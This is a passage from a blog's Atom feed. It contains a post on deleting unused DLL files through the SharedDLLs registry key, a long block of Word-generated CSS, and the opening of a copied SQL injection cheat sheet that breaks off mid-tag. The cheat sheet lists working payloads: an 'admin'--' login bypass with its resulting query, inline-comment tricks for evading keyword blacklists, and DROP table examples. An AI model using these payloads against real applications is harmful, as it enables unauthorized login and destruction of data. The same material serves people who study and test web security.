class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6631355475399605399-6096670021227888687?l=akki4tips.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://akki4tips.blogspot.com/feeds/6096670021227888687/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://akki4tips.blogspot.com/2010/04/proxies-what-is-proxy-server-proxy.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/6096670021227888687'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/6096670021227888687'/><link rel='alternate' type='text/html' href='http://akki4tips.blogspot.com/2010/04/proxies-what-is-proxy-server-proxy.html' title=''/><author><name>ExploringLinuxWithMe</name><uri>http://www.blogger.com/profile/14209377822820692943</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_lIWj8wefYIs/S5Ei4sJkVaI/AAAAAAAAACs/K5MyG1sSTYQ/S220/J0338.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6631355475399605399.post-1874257837535662371</id><published>2010-04-03T04:19:00.001-07:00</published><updated>2010-04-03T04:19:42.259-07:00</updated><title type='text'></title><content type='html'>&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;b style="color: red;"&gt;&lt;span style="font-size: x-large;"&gt;Remove outdated DLL files from your system&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;When uninstalling a program you are sometimes asked whether a&lt;br /&gt;certain DLL file can be deleted. Whether this DLL file is still needed, check with a look in the registry.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Start Registry Editor from Start - Run ... " (WIN + ), followed by the command regedit. Then click "OK" or press the button .&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Navigate to the key&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * "HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ SharedDLLs".&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * In the right pane you will see the DLL files. Look in the column "value" of the digit in brackets. This value indicates, as many of these DLL files are required.&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * If the DLL has the value "0", you can do so in Windows Explorer into the trash.&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Exit the Registry Editor by clicking the Close button.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6631355475399605399-1874257837535662371?l=akki4tips.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://akki4tips.blogspot.com/feeds/1874257837535662371/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://akki4tips.blogspot.com/2010/04/remove-outdated-dll-files-from-your.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/1874257837535662371'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/1874257837535662371'/><link rel='alternate' type='text/html' href='http://akki4tips.blogspot.com/2010/04/remove-outdated-dll-files-from-your.html' title=''/><author><name>ExploringLinuxWithMe</name><uri>http://www.blogger.com/profile/14209377822820692943</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_lIWj8wefYIs/S5Ei4sJkVaI/AAAAAAAAACs/K5MyG1sSTYQ/S220/J0338.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6631355475399605399.post-8362686975454981392</id><published>2010-04-03T04:17:00.001-07:00</published><updated>2010-04-03T04:17:18.837-07:00</updated><title type='text'></title><content type='html'>&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;meta content="text/html; charset=utf-8" http-equiv="Content-Type"&gt;&lt;/meta&gt;&lt;meta content="Word.Document" name="ProgId"&gt;&lt;/meta&gt;&lt;meta content="Microsoft Word 10" name="Generator"&gt;&lt;/meta&gt;&lt;meta content="Microsoft Word 10" name="Originator"&gt;&lt;/meta&gt;&lt;link href="file:///C:%5CDOCUME%7E1%5CCorPSE%5CLOCALS%7E1%5CTemp%5Cmsohtml1%5C01%5Cclip_filelist.xml" rel="File-List"&gt;&lt;/link&gt;&lt;style&gt;&lt;!-- /* Font Definitions */ @font-face	{font-family:Wingdings;	panose-1:5 0 0 0 0 0 0 0 0 0;	mso-font-charset:2;	mso-generic-font-family:auto;	mso-font-pitch:variable;	mso-font-signature:0 268435456 0 0 -2147483648 0;} /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal	{mso-style-parent:"";	margin:0in;	margin-bottom:.0001pt;	mso-pagination:widow-orphan;	font-size:12.0pt;	font-family:"Times New Roman";	mso-fareast-font-family:"Times New Roman";}h2	{mso-margin-top-alt:auto;	margin-right:0in;	mso-margin-bottom-alt:auto;	margin-left:0in;	mso-pagination:widow-orphan;	mso-outline-level:2;	font-size:18.0pt;	font-family:"Times New Roman";	font-weight:bold;}h3	{mso-margin-top-alt:auto;	margin-right:0in;	mso-margin-bottom-alt:auto;	margin-left:0in;	mso-pagination:widow-orphan;	mso-outline-level:3;	font-size:13.5pt;	font-family:"Times New Roman";	font-weight:bold;}h4	{mso-margin-top-alt:auto;	margin-right:0in;	mso-margin-bottom-alt:auto;	margin-left:0in;	mso-pagination:widow-orphan;	mso-outline-level:4;	font-size:12.0pt;	font-family:"Times New Roman";	font-weight:bold;}h5	{mso-margin-top-alt:auto;	margin-right:0in;	mso-margin-bottom-alt:auto;	margin-left:0in;	mso-pagination:widow-orphan;	mso-outline-level:5;	font-size:10.0pt;	font-family:"Times New Roman";	font-weight:bold;}a:link, span.MsoHyperlink	{color:blue;	text-decoration:underline;	text-underline:single;}a:visited, span.MsoHyperlinkFollowed	{color:purple;	text-decoration:underline;	text-underline:single;}p	{mso-margin-top-alt:auto;	margin-right:0in;	mso-margin-bottom-alt:auto;	margin-left:0in;	mso-pagination:widow-orphan;	font-size:12.0pt;	font-family:"Times New Roman";	mso-fareast-font-family:"Times New Roman";}code	{font-family:"Courier New";	mso-ascii-font-family:"Courier New";	mso-fareast-font-family:"Times New Roman";	mso-hansi-font-family:"Courier New";	mso-bidi-font-family:"Courier New";}pre	{margin:0in;	margin-bottom:.0001pt;	mso-pagination:widow-orphan;	tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;	font-size:10.0pt;	font-family:"Courier New";	mso-fareast-font-family:"Times New Roman";}span.hilite	{mso-style-name:hilite;}p.idea, li.idea, div.idea	{mso-style-name:idea;	mso-margin-top-alt:auto;	margin-right:0in;	mso-margin-bottom-alt:auto;	margin-left:0in;	mso-pagination:widow-orphan;	font-size:12.0pt;	font-family:"Times New Roman";	mso-fareast-font-family:"Times New Roman";}span.hi	{mso-style-name:hi;}span.inputfield	{mso-style-name:inputfield;}span.comment	{mso-style-name:comment;}span.idea1	{mso-style-name:idea1;}@page Section1	{size:8.5in 11.0in;	margin:1.0in 1.25in 1.0in 1.25in;	mso-header-margin:.5in;	mso-footer-margin:.5in;	mso-paper-source:0;}div.Section1	{page:Section1;} /* List Definitions */ @list l0	{mso-list-id:5134010;	mso-list-template-ids:-916012366;}@list l0:level1	{mso-level-number-format:bullet;	mso-level-text:;	mso-level-tab-stop:.5in;	mso-level-number-position:left;	text-indent:-.25in;	mso-ansi-font-size:10.0pt;	font-family:Symbol;}@list l1	{mso-list-id:35128182;	mso-list-template-ids:-510744138;}@list l1:level1	{mso-level-number-format:bullet;	mso-level-text:;	mso-level-tab-stop:.5in;	mso-level-number-position:left;	text-indent:-.25in;	mso-ansi-font-size:10.0pt;	font-family:Symbol;}@list l2	{mso-list-id:76951165;	mso-list-template-ids:1954682286;}@list l2:level1	{mso-level-number-format:bullet;	mso-level-text:;	mso-level-tab-stop:.5in;	mso-level-number-position:left;	text-indent:-.25in;	mso-ansi-font-size:10.0pt;	font-family:Symbol;}@list l3	{mso-list-id:139427475;	mso-list-template-ids:695513114;}@list l3:level1	{mso-level-number-format:bullet;	mso-level-text:;	mso-level-tab-stop:.5in;	mso-level-number-position:left;	text-indent:-.25in;	mso-ansi-font-size:10.0pt;	font-family:Symbol;}@list l4	{mso-list-id:224685228;	mso-list-template-ids:-2139701620;}@list l4:level1	{mso-level-number-format:bullet;	mso-level-text:;	mso-level-tab-stop:.5in;	mso-level-number-position:left;	text-indent:-.25in;	mso-ansi-font-size:10.0pt;	font-family:Symbol;}@list l4:level2	{mso-level-number-format:bullet;	mso-level-text:o;	mso-level-tab-stop:1.0in;	mso-level-number-position:left;	text-indent:-.25in;	mso-ansi-font-size:10.0pt;	font-family:"Courier New";	mso-bidi-font-family:"Times New Roman";}@list l5	{mso-list-id:243152729;	mso-list-template-ids:843608236;}@list l5:level1	{mso-level-number-format:bullet;	mso-level-text:;	mso-level-tab-stop:.5in;	mso-level-number-position:left;	text-indent:-.25in;	mso-ansi-font-size:10.0pt;	font-family:Symbol;}@list l5:level2	{mso-level-number-format:bullet;	mso-level-text:o;	mso-level-tab-stop:1.0in;	mso-level-number-position:left;	text-indent:-.25in;	mso-ansi-font-size:10.0pt;	font-family:"Courier New";	mso-bidi-font-family:"Times New Roman";}@list l5:level3	{mso-level-number-format:bullet;	mso-level-text:;	mso-level-tab-stop:1.5in;	mso-level-number-position:left;	text-indent:-.25in;	mso-ansi-font-size:10.0pt;	font-family:Wingdings;}@list l6	{mso-list-id:266666302;	mso-list-template-ids:-1069934596;}@list l6:level1	{mso-level-number-format:bullet;	mso-level-text:;	mso-level-tab-stop:.5in;	mso-level-number-position:left;	text-indent:-.25in;	mso-ansi-font-size:10.0pt;	font-family:Symbol;}@list l7	{mso-list-id:312804820;	mso-list-template-ids:-1955005818;}@list l7:level1	{mso-level-number-format:bullet;	mso-level-text:;	mso-level-tab-stop:.5in;	mso-level-number-position:left;	text-indent:-.25in;	mso-ansi-font-size:10.0pt;	font-family:Symbol;}@list l8	{mso-list-id:337931389;	mso-list-template-ids:2099673282;}@list l8:level1	{mso-level-number-format:bullet;	mso-level-text:;	mso-level-tab-stop:.5in;	mso-level-number-position:left;	text-indent:-.25in;	mso-ansi-font-size:10.0pt;	font-family:Symbol;}@list l9	{mso-list-id:374165429;	mso-list-template-ids:829179700;}@list l9:level1	{mso-level-number-format:bullet;	mso-level-text:;	mso-level-tab-stop:.5in;	mso-level-number-position:left;	text-indent:-.25in;	mso-ansi-font-size:10.0pt;	font-family:Symbol;}@list l10	{mso-list-id:413093125;	mso-list-template-ids:-43109744;}@list l10:level1	{mso-level-number-format:bullet;	mso-level-text:;	mso-level-tab-stop:.5in;	mso-level-number-position:left;	text-indent:-.25in;	mso-ansi-font-size:10.0pt;	font-family:Symbol;}@list l11	{mso-list-id:441803323;	mso-list-template-ids:1488060948;}@list l11:level1	{mso-level-number-format:bullet;	mso-level-text:;	mso-level-tab-stop:.5in;	mso-level-number-position:left;	text-indent:-.25in;	mso-ansi-font-size:10.0pt;	font-family:Symbol;}@list l12	{mso-list-id:455147712;	mso-list-template-ids:-241247678;}@list l12:level1	{mso-level-number-format:bullet;	mso-level-text:;	mso-level-tab-stop:.5in;	mso-level-number-position:left;	text-indent:-.25in;	mso-ansi-font-size:10.0pt;	font-family:Symbol;}@list l13	{mso-list-id:471824697;	mso-list-template-ids:-1547957738;}@list l13:level1	{mso-level-number-format:bullet;	mso-level-text:;	mso-level-tab-stop:.5in;	mso-level-number-position:left;	text-indent:-.25in;	mso-ansi-font-size:10.0pt;	font-family:Symbol;}@list l14	{mso-list-id:571424620;	mso-list-template-ids:-2136155058;}@list l14:level1	{mso-level-number-format:bullet;	mso-level-text:;	mso-level-tab-stop:.5in;	mso-level-number-position:left;	text-indent:-.25in;	mso-ansi-font-size:10.0pt;	font-family:Symbol;}@list l15	{mso-list-id:611329124;	mso-list-template-ids:2143085182;}@list l15:level1	{mso-level-number-format:bullet;	mso-level-text:;	mso-level-tab-stop:.5in;	mso-level-number-position:left;	text-indent:-.25in;	mso-ansi-font-size:10.0pt;	font-family:Symbol;}@list l16	{mso-list-id:721367216;	mso-list-template-ids:673772606;}@list l16:level1	{mso-level-number-format:bullet;	mso-level-text:;	mso-level-tab-stop:.5in;	mso-level-number-position:left;	text-indent:-.25in;	mso-ansi-font-size:10.0pt;	font-family:Symbol;}@list l17	{mso-list-id:945694357;	mso-list-template-ids:-1251026328;}@list l17:level1	{mso-level-number-format:bullet;	mso-level-text:;	mso-level-tab-stop:.5in;	mso-level-number-position:left;	text-indent:-.25in;	mso-ansi-font-size:10.0pt;	font-family:Symbol;}@list l18	{mso-list-id:1052076091;	mso-list-template-ids:-959948222;}@list l18:level1	{mso-level-number-format:bullet;	mso-level-text:;	mso-level-tab-stop:.5in;	mso-level-number-position:left;	text-indent:-.25in;	mso-ansi-font-size:10.0pt;	font-family:Symbol;}@list l19	{mso-list-id:1167284813;	mso-list-template-ids:309225638;}@list l19:level1	{mso-level-number-format:bullet;	mso-level-text:;	mso-level-tab-stop:.5in;	mso-level-number-position:left;	text-indent:-.25in;	mso-ansi-font-size:10.0pt;	font-family:Symbol;}@list l20	{mso-list-id:1173372959;	mso-list-template-ids:1423221336;}@list l20:level1	{mso-level-number-format:bullet;	mso-level-text:;	mso-level-tab-stop:.5in;	mso-level-number-position:left;	text-indent:-.25in;	mso-ansi-font-size:10.0pt;	font-family:Symbol;}@list l21	{mso-list-id:1261641288;	mso-list-template-ids:-1442968874;}@list l21:level1	{mso-level-tab-stop:.5in;	mso-level-number-position:left;	text-indent:-.25in;}@list l21:level2	{mso-level-tab-stop:1.0in;	mso-level-number-position:left;	text-indent:-.25in;}@list l22	{mso-list-id:1336499974;	mso-list-template-ids:1788246714;}@list l22:level1	{mso-level-number-format:bullet;	mso-level-text:;	mso-level-tab-stop:.5in;	mso-level-number-position:left;	text-indent:-.25in;	mso-ansi-font-size:10.0pt;	font-family:Symbol;}@list l23	{mso-list-id:1345206751;	mso-list-template-ids:-1159673444;}@list l23:level1	{mso-level-number-format:bullet;	mso-level-text:;	mso-level-tab-stop:.5in;	mso-level-number-position:left;	text-indent:-.25in;	mso-ansi-font-size:10.0pt;	font-family:Symbol;}@list l24	{mso-list-id:1383167429;	mso-list-template-ids:-1919915522;}@list l24:level1	{mso-level-number-format:bullet;	mso-level-text:;	mso-level-tab-stop:.5in;	mso-level-number-position:left;	text-indent:-.25in;	mso-ansi-font-size:10.0pt;	font-family:Symbol;}@list l24:level2	{mso-level-number-format:bullet;	mso-level-text:o;	mso-level-tab-stop:1.0in;	mso-level-number-position:left;	text-indent:-.25in;	mso-ansi-font-size:10.0pt;	font-family:"Courier New";	mso-bidi-font-family:"Times New Roman";}@list l25	{mso-list-id:1449856552;	mso-list-template-ids:-2130919150;}@list l25:level1	{mso-level-number-format:bullet;	mso-level-text:;	mso-level-tab-stop:.5in;	mso-level-number-position:left;	text-indent:-.25in;	mso-ansi-font-size:10.0pt;	font-family:Symbol;}@list l25:level2	{mso-level-number-format:bullet;	mso-level-text:;	mso-level-tab-stop:1.0in;	mso-level-number-position:left;	text-indent:-.25in;	mso-ansi-font-size:10.0pt;	font-family:Symbol;}@list l26	{mso-list-id:1503204657;	mso-list-template-ids:1342739894;}@list l26:level1	{mso-level-number-format:bullet;	mso-level-text:;	mso-level-tab-stop:.5in;	mso-level-number-position:left;	text-indent:-.25in;	mso-ansi-font-size:10.0pt;	font-family:Symbol;}@list l27	{mso-list-id:1694500511;	mso-list-template-ids:1141167234;}@list l27:level1	{mso-level-tab-stop:.5in;	mso-level-number-position:left;	text-indent:-.25in;}@list l27:level2	{mso-level-tab-stop:1.0in;	mso-level-number-position:left;	text-indent:-.25in;}@list l28	{mso-list-id:1747335218;	mso-list-template-ids:957151100;}@list l28:level1	{mso-level-number-format:bullet;	mso-level-text:;	mso-level-tab-stop:.5in;	mso-level-number-position:left;	text-indent:-.25in;	mso-ansi-font-size:10.0pt;	font-family:Symbol;}@list l29	{mso-list-id:1861695675;	mso-list-template-ids:1041258234;}@list l29:level1	{mso-level-tab-stop:.5in;	mso-level-number-position:left;	text-indent:-.25in;}@list l29:level2	{mso-level-tab-stop:1.0in;	mso-level-number-position:left;	text-indent:-.25in;}@list l29:level3	{mso-level-number-format:bullet;	mso-level-text:;	mso-level-tab-stop:1.5in;	mso-level-number-position:left;	text-indent:-.25in;	mso-ansi-font-size:10.0pt;	font-family:Wingdings;}@list l30	{mso-list-id:2002662782;	mso-list-template-ids:-1614265278;}@list l30:level1	{mso-level-tab-stop:.5in;	mso-level-number-position:left;	text-indent:-.25in;}@list l30:level2	{mso-level-number-format:alpha-lower;	mso-level-tab-stop:1.0in;	mso-level-number-position:left;	text-indent:-.25in;}@list l31	{mso-list-id:2110660959;	mso-list-template-ids:-1081816274;}@list l31:level1	{mso-level-number-format:bullet;	mso-level-text:;	mso-level-tab-stop:.5in;	mso-level-number-position:left;	text-indent:-.25in;	mso-ansi-font-size:10.0pt;	font-family:Symbol;}@list l32	{mso-list-id:2115516060;	mso-list-template-ids:496924504;}@list l32:level1	{mso-level-number-format:bullet;	mso-level-text:;	mso-level-tab-stop:.5in;	mso-level-number-position:left;	text-indent:-.25in;	mso-ansi-font-size:10.0pt;	font-family:Symbol;}@list l33	{mso-list-id:2139180028;	mso-list-template-ids:-1957392342;}@list l33:level1	{mso-level-number-format:bullet;	mso-level-text:;	mso-level-tab-stop:.5in;	mso-level-number-position:left;	text-indent:-.25in;	mso-ansi-font-size:10.0pt;	font-family:Symbol;}ol	{margin-bottom:0in;}ul	{margin-bottom:0in;}--&gt;&lt;/style&gt;  &lt;/div&gt;&lt;h2 style="color: red;"&gt;&lt;span style="font-size: x-large;"&gt;About &lt;span class="hilite"&gt;SQL&lt;/span&gt; &lt;span class="hilite"&gt;Injection&lt;/span&gt; Cheat Sheet &lt;/span&gt;&lt;/h2&gt;Currently only for &lt;span class="hilite"&gt;&lt;b&gt;MySQL&lt;/b&gt;&lt;/span&gt; and &lt;b&gt;Microsoft &lt;/b&gt;&lt;span class="hilite"&gt;&lt;b&gt;SQL&lt;/b&gt;&lt;/span&gt;&lt;b&gt; Server, &lt;/b&gt;some &lt;b&gt;ORACLE&lt;/b&gt; and some &lt;span class="hilite"&gt;&lt;b&gt;PostgreSQL&lt;/b&gt;&lt;/span&gt;. Most of samples are not correct for every single situation. Most of the real world environments may change because of parenthesis, different code bases and unexpected, strange &lt;span class="hilite"&gt;SQL&lt;/span&gt; sentences. &lt;br /&gt;&lt;br /&gt;Samples are provided to allow reader to get basic idea of a potential attack and almost every section includes a brief information about itself. &lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="3" class="MsoNormalTable"&gt;&lt;tbody&gt;&lt;tr&gt;   &lt;td style="padding: 2.25pt;"&gt;&lt;div align="right" class="MsoNormal" style="text-align: right;"&gt;&lt;b&gt;M : &lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="padding: 2.25pt;"&gt;&lt;div class="MsoNormal"&gt;&lt;span class="hilite"&gt;MySQL&lt;/span&gt; &lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;&lt;tr&gt;   &lt;td style="padding: 2.25pt;"&gt;&lt;div align="right" class="MsoNormal" style="text-align: right;"&gt;&lt;b&gt;S : &lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="padding: 2.25pt;"&gt;&lt;div class="MsoNormal"&gt;&lt;span class="hilite"&gt;SQL&lt;/span&gt; Server&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;&lt;tr&gt;   &lt;td style="padding: 2.25pt;"&gt;&lt;div align="right" class="MsoNormal" style="text-align: right;"&gt;&lt;b&gt;P : &lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="padding: 2.25pt;"&gt;&lt;div class="MsoNormal"&gt;&lt;span class="hilite"&gt;PostgreSQL&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;&lt;tr&gt;   &lt;td style="padding: 2.25pt;"&gt;&lt;div align="right" class="MsoNormal" style="text-align: right;"&gt;&lt;b&gt;O : &lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="padding: 2.25pt;"&gt;&lt;div class="MsoNormal"&gt;Oracle&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;&lt;tr&gt;   &lt;td style="padding: 2.25pt;"&gt;&lt;div align="right" class="MsoNormal" style="text-align: right;"&gt;&lt;b&gt;+ : &lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="padding: 2.25pt;"&gt;&lt;div class="MsoNormal"&gt;Possibly all other databases &lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;h5&gt;&lt;b&gt;&lt;i&gt;Examples;&lt;/i&gt;&lt;/b&gt;&lt;/h5&gt;&lt;ul type="disc"&gt;&lt;li class="MsoNormal"&gt;&lt;i&gt;(MS) means : &lt;/i&gt;&lt;span class="hilite"&gt;&lt;i&gt;MySQL&lt;/i&gt;&lt;/span&gt;&lt;i&gt; and &lt;/i&gt;&lt;span class="hilite"&gt;&lt;i&gt;SQL&lt;/i&gt;&lt;/span&gt;&lt;i&gt;      Server etc. &lt;/i&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;(M*S) means : Only in some      versions of &lt;span class="hilite"&gt;MySQL&lt;/span&gt; or special conditions see      related note and &lt;span class="hilite"&gt;SQL&lt;/span&gt; Server&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt; &lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;&lt;a href="http://www.blogger.com/post-create.do" name="TOC"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;br /&gt;&lt;h2&gt;&lt;a href="http://www.blogger.com/post-create.do" name="SyntaxBasicAttacks"&gt;&lt;/a&gt;Syntax Reference, Sample Attacks and Dirty &lt;span class="hilite"&gt;SQL&lt;/span&gt; &lt;span class="hilite"&gt;Injection&lt;/span&gt; Tricks &lt;/h2&gt;&lt;h3&gt;&lt;a href="http://www.blogger.com/post-create.do" name="21"&gt;&lt;/a&gt;Ending / Commenting Out / Line Comments &lt;/h3&gt;&lt;h4&gt;&lt;a href="http://www.blogger.com/post-create.do" name="LineComments"&gt;&lt;/a&gt;Line Comments &lt;/h4&gt;&lt;div class="idea"&gt;&lt;b&gt;Comments out rest of the query.&lt;/b&gt;&lt;br /&gt;Line comments are generally useful for ignoring rest of the query so you don’t have to deal with fixing the syntax.&lt;/div&gt;&lt;ul type="disc"&gt;&lt;li class="MsoNormal" style="margin-bottom: 12pt;"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;-- &lt;/span&gt;&lt;/code&gt;(SM)&lt;span style="font-size: 10pt;"&gt;&lt;br /&gt;&lt;code&gt;DROP sampletable;&lt;/code&gt;&lt;span class="hi"&gt;--&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;# &lt;/span&gt;&lt;/code&gt;(M)&lt;span style="font-size: 10pt;"&gt;&lt;br /&gt;&lt;code&gt;DROP sampletable;&lt;/code&gt;&lt;span class="hi"&gt;#&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h5&gt;&lt;a href="http://www.blogger.com/post-create.do" name="LineCommentAttacks"&gt;&lt;/a&gt;Line Comments Sample &lt;span class="hilite"&gt;SQL&lt;/span&gt; &lt;span class="hilite"&gt;Injection&lt;/span&gt; Attacks&lt;/h5&gt;&lt;ul type="disc"&gt;&lt;li class="MsoNormal"&gt;&lt;span class="inputfield"&gt;Username:&lt;/span&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt; admin&lt;/span&gt;&lt;/code&gt;&lt;span class="hi"&gt;&lt;span style="font-size: 10pt;"&gt;'--&lt;/span&gt;&lt;/span&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt; &lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;SELECT * FROM members WHERE username = '&lt;/span&gt;&lt;/code&gt;&lt;span class="hi"&gt;&lt;span style="font-size: 10pt;"&gt;admin'--&lt;/span&gt;&lt;/span&gt;&lt;span class="comment"&gt;&lt;span style="font-size: 10pt;"&gt;'      AND password = 'password'&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: 10pt;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="idea1"&gt;This is going to log you as admin user, because      rest of the &lt;/span&gt;&lt;span class="hilite"&gt;SQL&lt;/span&gt;&lt;span class="idea1"&gt; query      will be ignored.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h4&gt;&lt;a href="http://www.blogger.com/post-create.do" name="InlineComments"&gt;&lt;/a&gt;Inline Comments&lt;/h4&gt;&lt;div class="idea"&gt;&lt;b&gt;Comments out rest of the query by not closing them&lt;/b&gt; or you can use for &lt;b&gt;bypassing blacklisting&lt;/b&gt;, removing spaces, obfuscating and determining database versions.&lt;/div&gt;&lt;ul type="disc"&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;/*Comment Here*/&lt;/span&gt;&lt;/code&gt; (SM) &lt;/li&gt;&lt;ul type="disc"&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;DROP&lt;/span&gt;&lt;/code&gt;&lt;span class="hi"&gt;&lt;span style="font-size: 10pt;"&gt;/*comment*/&lt;/span&gt;&lt;/span&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;sampletable&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;DR&lt;/span&gt;&lt;/code&gt;&lt;span class="hi"&gt;&lt;span style="font-size: 10pt;"&gt;/**/&lt;/span&gt;&lt;/span&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;OP&lt;/span&gt;&lt;/code&gt;&lt;span class="hi"&gt;&lt;span style="font-size: 10pt;"&gt;/*bypass       blacklisting*/&lt;/span&gt;&lt;/span&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;sampletable&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;li class="MsoNormal" style="margin-bottom: 12pt;"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;SELECT&lt;/span&gt;&lt;/code&gt;&lt;span class="hi"&gt;&lt;span style="font-size: 10pt;"&gt;/*avoid-spaces*/&lt;/span&gt;&lt;/span&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;password&lt;/span&gt;&lt;/code&gt;&lt;span class="hi"&gt;&lt;span style="font-size: 10pt;"&gt;/**/&lt;/span&gt;&lt;/span&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;FROM&lt;/span&gt;&lt;/code&gt;&lt;span class="hi"&gt;&lt;span style="font-size: 10pt;"&gt;/**/&lt;/span&gt;&lt;/span&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;Members&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;&lt;li class="MsoNormal"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;/*! &lt;/span&gt;&lt;/code&gt;&lt;span class="hilite"&gt;&lt;span style="font-size: 10pt;"&gt;MYSQL&lt;/span&gt;&lt;/span&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt; Special &lt;/span&gt;&lt;/code&gt;&lt;span class="hilite"&gt;&lt;span style="font-size: 10pt;"&gt;SQL&lt;/span&gt;&lt;/span&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt; *&lt;/span&gt;&lt;/code&gt;/ (M)&lt;br /&gt;&lt;span class="idea1"&gt;This is a special comment syntax for &lt;/span&gt;&lt;span class="hilite"&gt;MySQL&lt;/span&gt;&lt;span class="idea1"&gt;. It’s perfect for detecting &lt;/span&gt;&lt;span class="hilite"&gt;MySQL&lt;/span&gt;&lt;span class="idea1"&gt; version. If you put a code      into this comments it’s going to execute in &lt;/span&gt;&lt;span class="hilite"&gt;MySQL&lt;/span&gt;&lt;span class="idea1"&gt; only. Also you can use this to execute some code only if the      server is higher than supplied version.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;SELECT &lt;/span&gt;&lt;/code&gt;&lt;span class="hi"&gt;&lt;span style="font-size: 10pt;"&gt;/*!&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span 